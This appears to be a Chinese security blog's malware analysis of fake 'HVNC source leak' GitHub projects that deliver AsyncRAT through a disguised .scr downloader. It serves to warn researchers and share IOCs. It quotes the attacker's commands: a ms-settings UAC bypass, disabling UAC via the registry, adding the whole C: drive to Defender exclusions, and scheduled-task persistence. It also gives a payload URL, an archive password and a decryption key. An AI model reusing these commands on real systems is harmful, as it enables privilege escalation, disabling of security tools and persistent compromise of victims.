0x01 事件发现
最近在github上找RAT项目时,发现了大量以"xxx HVNC源码泄露"为关键字的项目,上传时间在两周前,修改时间在一天内,我还以为是什么新的好东西,赶紧下载下来看看,这些项目长这样:
点进去看(翻译后):
但是下载下来后马上发现了不对劲:老师,我们家sln文件怎么后缀是scr呀?
仔细一看文件名其实不难发现,里面有nls这个字符,倒过来就是sln,这大概率是个恶意钓鱼文件,攻击者本来想通过RLO倒序字符串将scr可执行文件伪装成sln后缀文件,但是没想到传输过程中这个字符串没了,变成了这个样子。有一说一如果这个字符串没有丢失,真的很逼真,我可能真的就点了= =!
0x02 样本分析
(1)S500 Resou_nls..scr
先来看一下这个scr文件,是一个轻微混淆的.NET程序,但是仍然可以看到方法的名字,推断是个Downloader:
程序里面所有的字符串都进行了加密,在使用时都通过0xb111a1这个方法进行了解密:
找到这个解密函数的实现,搞个C#项目对里面的字符串进行解密:
class Program
{
public static string decrypt(string entext)
{
byte[] array = Convert.FromBase64String(entext);
byte[] key = new MD5CryptoServiceProvider().ComputeHash(Encoding.UTF8.GetBytes("jYTm9EL7FTcFl6ZGbUyZslJgXGk5mm9rlKsBo270KKTsB9Fghgp"));
TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
tripleDESCryptoServiceProvider.Key = key;
tripleDESCryptoServiceProvider.Mode = CipherMode.ECB;
tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7;
ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor();
byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
tripleDESCryptoServiceProvider.Clear();
return Encoding.UTF8.GetString(bytes);
}
static void Main(string[] args)
{
string entext = "1CiaBVuwV2ys0k/Ap/0HkTwaYA0hTT5Q/AJs109UTmcA6cQKbWLbFTVYhiW7+LOKOhRg7lEuKhc8GmANIU0+UGqqfAvJ58u6Qta721aFj4K7hVln8CeHjTQTrPX67aq2";
string detext = decrypt(entext);
Console.WriteLine(detext);
}
}
解密出了一些关键的字符串:
https://paste.fo/raw/573e09b039a1
访问后发现是一个7z压缩包的下载地址,压缩包里是一个MicrosoftCorporation.exe:
7z程序的下载路径、存放路径,以及压缩包的解压密码
C:ProgramDatasevenZip7z.exe
https://www.7-zip.org/a/7zr.exe
-phR3^&b2%A9!gK*6LqP7t$NpW
goodbyedpi 工具相关的字符串:
C:ProgramDataSSLNetwork
goodbyedpi.exe
https://raw.githubusercontent.com/bvcsurs/goodbyedpi/main/goodbyedpi.7z
C:ProgramDatasevenZip7z.exe
--dns-addr 77.88.8.8 --dns-port 1253 --dnsv6-addr 2a02:6b8::feed:0ff --dnsv6-port 1253
看来是要使用goodbyedpi 工具在SOCKS5代理模式运行,用于绕过DPI(Deep Packet Inspection,深度数据包检测)进行网络访问。
一个.sln项目文件的内容:
MicrosoftVisual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.7.34202.233
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VisualStudio", "VisualStudio.csproj", "{831B1F27-7BF5-4B91-B4BF-9D3BD1DB343C}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
......
根据这些字符串可以大致推算scr样本的作用,后续在虚拟机运行样本捕捉行为时,也确认了scr文件的行为就是拉取7z.exe和压缩包,通过7z命令行用密码解压文件释放并启动MicrosoftCorporation.exe;还释放并启动了一个真的sln文件迷惑用户。但是没看到用goodbyedpi的行为,可能是没触发这个逻辑。
捕捉到的部分行为如下:
(2)MicrosoftCorporation.exe
MicrosoftCorporation.exe是一个经过混淆的.NET程序,依稀能辨别核心功能是反射加载一个.NET程序集,无法直观地得知加载的程序集的具体功能:
所以还是直接看行为,MicrosoftCorporation.exe释放了一个文件夹,经过初步判断里面是白+黑样本,MicrosoftCorporation.exe启动了Microsoft.exe:
(3)Microsoft.exe等
Microsoft.exe实际上是Teams主程序,里面的文件太多懒得逐个看了,直接看行为吧。
Microsoft.exe释放了service.exe和一些脚本,随后Microsoft.exe启动了b.vbs:
b.vbs主要是启动b.bat,b.bat内容如下,大致是判断当前权限是否是管理员权限和UAC策略,根据不同的结果决定是否要启动Service.exe走接下来的提权逻辑:
接下来有看到Service.exe释放并启动%temp%IXP000.TMPbabel.bat,bable.bat中有如下命令:
reg add "HKCUSoftwareClassesms-settingsshellopencommand" /d "C:UsersPublicDownloadsService.exe" /f
Service.exe被写入了ms-setting注册表项,是很常见的bypassUAC方式,然后观察到Service.exe通过注册表禁用UAC提示、通过powershell将整个C盘加入了Defender的扫描排除项:
reg.exe ADD HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v EnableLUA /t REG_DWORD /d 0 /f
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "$defenderExclusions = Get-MpPreference; $defenderExclusions.ExclusionPath = $defenderExclusions.ExclusionPath + 'C:'; Set-MpPreference -ExclusionPath $defenderExclusions.ExclusionPath"
Microsoft.exe还有释放aitstatic.exe、ComSvcConfig.exe、MicrosoftCertificateServices.exe三个程序,观察到的部分释放文件行为:
这三个程序是Microsoft.exe调用powershell启动的,Microsoft.exe还为这三个程序和自身写了计划任务,相关命令如下(对于三个程序的命令行都一样,分别只写了一个):
powershell-Command "Start-Process -FilePath 'C:Users陈小明AppDataRoamingMicrosoftSystemCertificatesMyCRLsaitstatic.exe'"
schtasks /create /tn BfeOnServiceStartTypeChange /tr "C:ProgramDataMicrosoftToolcurrentMicrosoft.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /f
schtasks /create /tn "MsCftMonitor" /tr "C:Users陈小明AppDataRoamingMicrosoftSystemCertificatesMyCRLsaitstatic.exe" /st 00:00 /du 9999:59 /sc once /ri 10 /f
(4)aitstatic.exe等
根据计划任务持久化的对象来看,Microsoft.exe释放的这些文件aitstatic.exe、ComSvcConfig.exe、MicrosoftCertificateServices.exe应该就是最后的木马程序,这几个文件的大小差不多,行为也一致,他们会启动RegAsm.exe,然后RegAsm.exe开始疯狂外联,也找到了真正的远控C2:
这几个程序也都是.NET程序,反编译一下发现经过了严重的混淆,还有大量的垃圾代码:
但是从关键的类中使用的系统函数名依稀可以辨认是在搞线程劫持注入:
再看一下RegAsm.exe被注入后的流量行为,虽然是加密流量但是仍然看得到AsyncRAT的特征,确认这是最终的AsyncRAT木马程序:
0x03 样本总结
S500Resou_nls..scr:伪装成sln文件的scr可执行文件,在传输过程中丢失了倒序字符(可能是被替换了为_),本来应该是S500 Resoucrs..sln,是一个Downloader,下载MicrosoftCorporation.7z和7z.exe,解压释放和启动MicrosoftCorporation.exe;
MicrosoftCorporation.exe:经过混淆的.NET程序,核心功能是反射加载一个.NET程序集,无法直观地反编译得知具体功能,根据行为来看也是个DownLoader,释放白+黑恶意样本(Microsoft.exe和若干DLL)并启动;
Microsoft.exe等:白+黑样本,用于释放和启动提权程序(Service.exe、babel.bat等)和木马程序(aitstatic.exe等),对木马程序和自身进行计划任务持久化;
Service.exe和一些脚本:提权组件,检查当前权限,如果非管理员权限,则通过修改注册表BypassUAC提权,然后关闭UAC,添加Defender排除项绕过扫描;
aitstatic.exe等:AsyncRAT远控木马程序,通过线程劫持注入RegAsm.exe上线AsyncRAT远控;
大致攻击流程如下:
其实我觉得这个有点子像APT......
0x04 IOCs
172.160.240[.]225
S500 Resou_nls..scr
7c031479dedab585b453098453a09f35
MicrosoftCorporation.exe
F24C087BFD6A5A11079A0FF8EE778593
Service.exe
8E4BD18FEC7DC15624F8E5A92B9FD984
aitstatic.exe
3B5A9930C02E7E42AC52627179137656
ComSvcConfig.exe
DAD4AC734E29E080C7031269031E3601
MicrosoftCertificateServices.exe
9A07AA10C5F8A1BAAF17922E4D7EEF2E
近期有在github上下载过HVNC项目的师傅,赶紧自查吧~~
皮一下:
原文始发于微信公众号(红蓝攻防研究实验室):警惕!近期github上以HVNC源码泄露为关键字的恶意项目——疑似针对安全研究员和黑客的定向钓鱼攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论